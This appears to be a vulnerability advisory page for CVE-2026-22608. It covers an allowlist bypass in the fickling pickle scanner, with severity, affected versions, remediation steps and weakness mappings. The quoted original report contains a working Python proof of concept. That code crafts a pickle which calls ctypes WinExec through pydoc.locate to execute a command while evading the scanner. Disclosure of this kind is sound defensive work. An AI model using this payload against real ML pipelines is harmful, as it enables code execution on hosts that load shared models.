CVE-2026-22608: fickling: Allowlist Bypass evades input filtering
GHSA-5hvc-6wx8-mvv4 HIGH PoC AVAILABLE CISA: ATTENDfickling — the de facto ML model security scanner — can be bypassed via a crafted pickle file that chains pydoc.locate() with ctypes to achieve RCE while returning LIKELY_SAFE. Any ML pipeline using fickling <= 0.1.6 as a security gate for model loading is operating under false confidence. Update to fickling 0.1.7 immediately and treat every LIKELY_SAFE verdict issued by the old version as untrusted.
What is the risk?
HIGH risk for organizations using fickling to gate ML model loading. The bypass is trivially reproducible (public PoC exists), achieves unauthenticated RCE on the host deserializing the model, and specifically defeats the security control meant to prevent this class of attack. Risk amplifies in model-sharing workflows — internal registries, HuggingFace integrations, or automated MLOps pipelines — where a fickling LIKELY_SAFE verdict is the primary or sole defense against malicious pickles. EPSS is low (0.00043) indicating no observed mass exploitation yet, but the public PoC and high-value targets (GPU infrastructure, training data) make weaponization probable.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Fickling | pip | <= 0.1.6 | 0.1.7 |
Do you use Fickling? You're affected.
How severe is it?
What should I do?
1 step-
1) PATCH: Upgrade fickling to >= 0.1.7 immediately — pydoc and ctypes are now explicitly blocked. 2) AUDIT: Re-scan all pickle files accepted since 2026-01-09 with the patched version; any prior LIKELY_SAFE verdict is untrustworthy. 3) ARCHITECTURE: Migrate model weights to safetensors format to eliminate pickle as an attack surface entirely. 4) ISOLATION: Run model deserialization in sandboxed environments (containers with no network, seccomp/gVisor syscall restrictions) to contain RCE blast radius even if a scanner is bypassed. 5) DETECTION: Alert on pydoc.locate() calls at runtime; add fickling version to your software composition analysis (SCA) toolchain. 6) DEFENSE-IN-DEPTH: Fickling must be one layer, not the only layer — combine with hash pinning of model artifacts, signed manifests, and runtime sandboxing.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-22608?
fickling — the de facto ML model security scanner — can be bypassed via a crafted pickle file that chains pydoc.locate() with ctypes to achieve RCE while returning LIKELY_SAFE. Any ML pipeline using fickling <= 0.1.6 as a security gate for model loading is operating under false confidence. Update to fickling 0.1.7 immediately and treat every LIKELY_SAFE verdict issued by the old version as untrusted.
Is CVE-2026-22608 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-22608, increasing the risk of exploitation.
How to fix CVE-2026-22608?
1) PATCH: Upgrade fickling to >= 0.1.7 immediately — pydoc and ctypes are now explicitly blocked. 2) AUDIT: Re-scan all pickle files accepted since 2026-01-09 with the patched version; any prior LIKELY_SAFE verdict is untrustworthy. 3) ARCHITECTURE: Migrate model weights to safetensors format to eliminate pickle as an attack surface entirely. 4) ISOLATION: Run model deserialization in sandboxed environments (containers with no network, seccomp/gVisor syscall restrictions) to contain RCE blast radius even if a scanner is bypassed. 5) DETECTION: Alert on pydoc.locate() calls at runtime; add fickling version to your software composition analysis (SCA) toolchain. 6) DEFENSE-IN-DEPTH: Fickling must be one layer, not the only layer — combine with hash pinning of model artifacts, signed manifests, and runtime sandboxing.
What systems are affected by CVE-2026-22608?
This vulnerability affects the following AI/ML architecture patterns: model serving, training pipelines, MLOps CI/CD model registries, data science workstations, model sharing workflows.
What is the CVSS score for CVE-2026-22608?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011.000 Unsafe AI Artifacts AML.T0018.002 Embed Malware AML.T0074 Masquerading AML.T0107 Exploitation for Defense Evasion Compliance Controls Affected
What are the technical details?
Original Advisory
# Fickling's assessment `pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1). # Original report ### Summary Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE ### Details Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1). To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin ### PoC ```python import os GLOBAL = b'c' STRING = b'S' BININT = b'K' TUPLE1 = b'\x85' TUPLE2 = b'\x86' EMPTY_TUPLE = b')' REDUCE = b'R' PUT = b'p' GET = b'g' POP = b'0' EMPTY_DICT = b'}' SETITEM = b's' BUILD = b'b' STOP = b'.' def generate_stealth_payload(): payload = b"" payload += GLOBAL + b"pydoc\nlocate\n" payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n" payload += TUPLE1 + REDUCE payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec> payload += POP payload += GET + b"0\n" payload += b"C" + b"\x08" + b"calc.exe" payload += BININT + b"\x01" payload += TUPLE2 + REDUCE payload += PUT + b"1\n" # Var 1 = Execution Result payload += POP payload += GLOBAL + b"builtins\nException\n" payload += EMPTY_TUPLE + REDUCE payload += PUT + b"2\n" # Var 2 = Exception instance payload += EMPTY_DICT payload += STRING + b"'rce_status'\n" payload += GET + b"1\n" payload += SETITEM # { 'rce_status': result } payload += BUILD payload += STOP return payload data = generate_stealth_payload() with open("stealth_ctypes.pkl", "wb") as f: f.write(data) print("Generated 'stealth_ctypes.pkl'") ```` What fickling sees ```python from pydoc import locate _var0 = locate('ctypes.windll.kernel32.WinExec') _var1 = _var0(b'calc.exe', 1) _var2 = Exception() _var3 = _var2 _var3.__setstate__({'rce_status': _var1}) result0 = _var3 ``` <img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />
Exploitation Scenario
Adversary publishes a malicious .pkl file to a public model hub or compromises an internal model registry. The file passes fickling <= 0.1.6 scan (pydoc and ctypes not blocked), receiving LIKELY_SAFE status. An automated MLOps pipeline or data scientist downloads and loads the model for fine-tuning or inference evaluation — triggering the embedded pickle opcodes. The payload resolves ctypes.windll.kernel32.WinExec (or Linux CDLL equivalent) via pydoc.locate() and executes attacker-controlled commands on the ML training node or inference server, yielding persistent access to GPU infrastructure, proprietary model weights, and training datasets.
Weaknesses (CWE)
CWE-184 Incomplete List of Disallowed Inputs
Primary
CWE-502 Deserialization of Untrusted Data
Primary
CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
- [Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
Source: MITRE CWE corpus.
References
- github.com/advisories/GHSA-5hvc-6wx8-mvv4
- github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py
- github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6
- github.com/trailofbits/fickling/pull/195
- github.com/trailofbits/fickling/releases/tag/v0.1.7
- github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4
- nvd.nist.gov/vuln/detail/CVE-2026-22608
Timeline
Related Vulnerabilities
GHSA-5hwf-rc88-82xm fickling: Allowlist Bypass evades input filtering
Same package: fickling GHSA-wccx-j62j-r448 fickling: Protection Bypass circumvents security controls
Same package: fickling GHSA-5cxw-w2xg-2m8h fickling: Allowlist Bypass evades input filtering
Same package: fickling GHSA-r48f-3986-4f9c fickling: Allowlist Bypass evades input filtering
Same package: fickling GHSA-mhc9-48gj-9gp3 fickling: Allowlist Bypass evades input filtering
Same package: fickling